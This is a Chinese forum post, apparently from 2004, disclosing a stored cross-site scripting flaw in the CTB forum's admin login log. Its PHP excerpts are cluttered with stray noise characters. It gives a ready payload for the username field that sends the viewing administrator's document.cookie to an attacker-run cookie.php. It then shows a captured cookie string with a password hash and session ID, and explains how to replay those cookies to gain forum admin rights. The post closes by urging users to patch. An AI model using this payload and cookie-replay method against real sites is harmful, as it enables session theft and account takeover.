QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2492|回复: 0
打印 上一主题 下一主题

CTB论坛再探

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-6 12:02 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
在CTB论坛中对前台和后台登陆的情况都设置了一个日志记录供管理员查看,可以让管理员尽快发现论坛是否被人入侵。但是对于用户递交的数据没有进行任何处理就记录到了日志当中,我们可以通过递交特殊的语句来进行跨站攻击,从而直接得到密码。 # H# P3 w# s% g; [& m) Y' k8 V ! U5 O6 o- @. W$ w4 w# c8 j  我们看看admin目录下的login.php文件的日志处理部分的代码: : N4 g0 j* k& X+ Q& f9 o2 X5 ?& |8 d1 f: p0 K 代码: 9 W% o! B" ^7 s% K& j5 W% |& _) t -------------------------------------------------------------------------------- * Y0 i, V- T8 ?' r' [ 2 H/ H' k# A; G# V, F( P//后台管理员登陆日志 % \3 g, s" m" |function adminLoginLog($check="ok") 6 `, E2 p0 F& C6 r! v{ 9 @) V+ S% o- T6 D* y if($this->set[logRecord] == "N"){ " D# ?" O* u1 u return false; 7 h! g/ d# L- ]0 |; Q8 y: [ } ' `; |, `2 A8 u8 t $msgArray[phpCode] = $this->code; ; T% c2 s8 ?( N' P( S. {3 f0 j //判断文件大小是否需要清空 % g. g4 I5 b8 F# r" L& W if (filesize("../".$this->set['dataPath']."/log_adminlogin.php") > $this->set['logRecordSize']){ $ b7 }: Z- o! f6 Z+ x $this->file = "../".$this->set['dataPath']."/log_adminlogin.php"; 9 x* J5 L7 E$ W1 i* x $this->null_write(""); 3 d( P0 L9 R$ |5 T6 W } & t# j# U, k0 B3 G' v, J8 e //登陆错误 : y9 c% u7 ?+ j9 g //省去部分代码........ 2 v, a/ {1 y0 H: R* w* S6 d //登陆失败 5 K" L( |2 w! I0 g( s+ i else { , g T2 a g% I0 Q) ^8 m8 P2 X $msgArray[loginMode] = 0; ; E' a4 [# P' L# e $msgArray[loginId] = $this->input['userName']; 8 {% C$ \# A% p$ ] $msgArray[wrongMsg] = $check; 6 L" H* N* N: H( ^9 ]. ?' u $msgArray[userIp] = $this->ip; 2 n5 r6 D, O, e( ^5 c6 z- z( }* V% `# ^ $msgArray[loginTime] = time(); ; p( R& I- w( ~$ A5 ?* T $msgArray[temp1] = ""; //备用 4 @& K2 B2 X8 v/ `) l) c $msgArray[temp2] = ""; //备用 4 d; e" K2 ^# h7 \4 P $this->file = "../".$this->set['dataPath']."/log_adminlogin.php"; 2 M, J( }5 O9 `) H6 T; J% T $this->add_line($msgArray); * ^& f$ P5 U5 D$ U1 L } 5 v. O T7 w+ L, y! `3 ^) r } ' z% @3 B) B @0 U, J- B* `8 K4 g$ C * J5 M: E1 O6 Q-------------------------------------------------------------------------------- 1 Z6 l0 \# l: @3 I, S' c5 s0 _( u* F. k; F6 Y: ^$ N/ Z$ ~7 L   从代码上看我们递交的用户名等信息既不会进行任何过滤也无论正确与否都会被保存到log_adminlogin.php里去,当管理员登陆到后台查看日志的时候就会显示出log_adminlogin.php里面记录的登陆信息,我们也就可以通过这个方法来得到管理员的ID和密码等信息。 1 u! V: `* [1 a" J: T- l R- } R) c" l; g7 L6 K   我们打开后台登陆页面,在用户名那里输入: 3 e7 P7 o+ m# R0 d7 p! x- x B. n+ Q, F" {. @6 }% e9 ]$ L% W) [' d 代码: 4 T- N1 ]# ?5 `8 O& h -------------------------------------------------------------------------------- 8 u4 V6 i v9 B. P1 S 2 _" {( T, ?& r4 }# _" Y) i8 ~6 y3 i<img src="javascript:window.open('http://192.168.1.1/cookie.php?'+document.cookie)"> 3 @$ v% R. m4 T ! H, \( `$ y9 P4 V-------------------------------------------------------------------------------- ' G# W+ h/ r: F3 w7 m8 f5 e , Q$ b( D% _" ]9 v& G   因为无论登陆成功否,程序都会进行记录,所以密码我们可以随便填。其中192.168.1.1为我们放置cookie.php的网址,cookie.php为一个可以获得cookie信息的PHP文件。现在我们要做的就是等了,只要管理员一查看后台登陆日志,我们的PHP程序就会把他的COOKIE截取下来。 N& q: t& x. j* U8 S' ?. v9 I3 i1 u   让我们看看截取到的文件内容: 2 z2 L8 F$ d% I; q$ y# j' ~1 g# P7 S& R 引用: ( B( ` }! j$ R& g3 G9 a9 ? -------------------------------------------------------------------------------- ' {; b5 F0 T- ~. u1 a; q6 h1 X/ H$ k+ S2 ?/ o f3 m! g ctb_user_login=ctb;%20ctb_user_pass=ce445102682e75bf533d44e1afc38a90;%20ctb_login_mode=1;%20eremite=0;%20skins=2;%20fylinklinkfylogin=cpb;%20userpass=2BA2A8AC968A7A2B0A7BAA7F2FEF18D2;%20username=sniper;%20Dwebdv=userid=1&usercookies=2&userhidden=&password=0reu3g775VrY7458&userclass=%B9%DC%C0%ED%D4%B1&username=admin&StatUserID=3980383;%20TZ=480;%20PHPSESSID=d8765179dc4f3a8708515a031216e503 4 @, @3 x% ? G5 E1 E% c" M# b 0 ?7 G, u/ M0 p& g -------------------------------------------------------------------------------- 2 {8 a$ U9 o" q/ O4 S- L5 [ . ?4 ~, I6 _4 E; L" d% I  我们需要只有ctb_user_login、ctb_user_pass和ctb_login_mode三个就可以得到前台管理权限了,有了这些信息,我们要获得前台管理员权限就非常容易,用IECookieView找到我们要编辑的COOKIE,把相应的部分替换掉,保存后再进入该站点你就是前台管理员了。 ]& ?" \: U; _# B 9 b; R/ {% G4 ]/ \' S. s2 z' a3 z7 G   很简单的我们就得到了论坛的管理权限,如果被人利用,那么相信后果是非常严重的,希望用CTB论坛的朋友关注他们的官方站点的补丁发布情况,尽快修补该漏洞,以免造成不必要的损失。 ~. y0 m5 H7 f8 b, D+ T$ t; t% i

zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-4-18 21:54 , Processed in 0.337746 second(s), 52 queries .

回顶部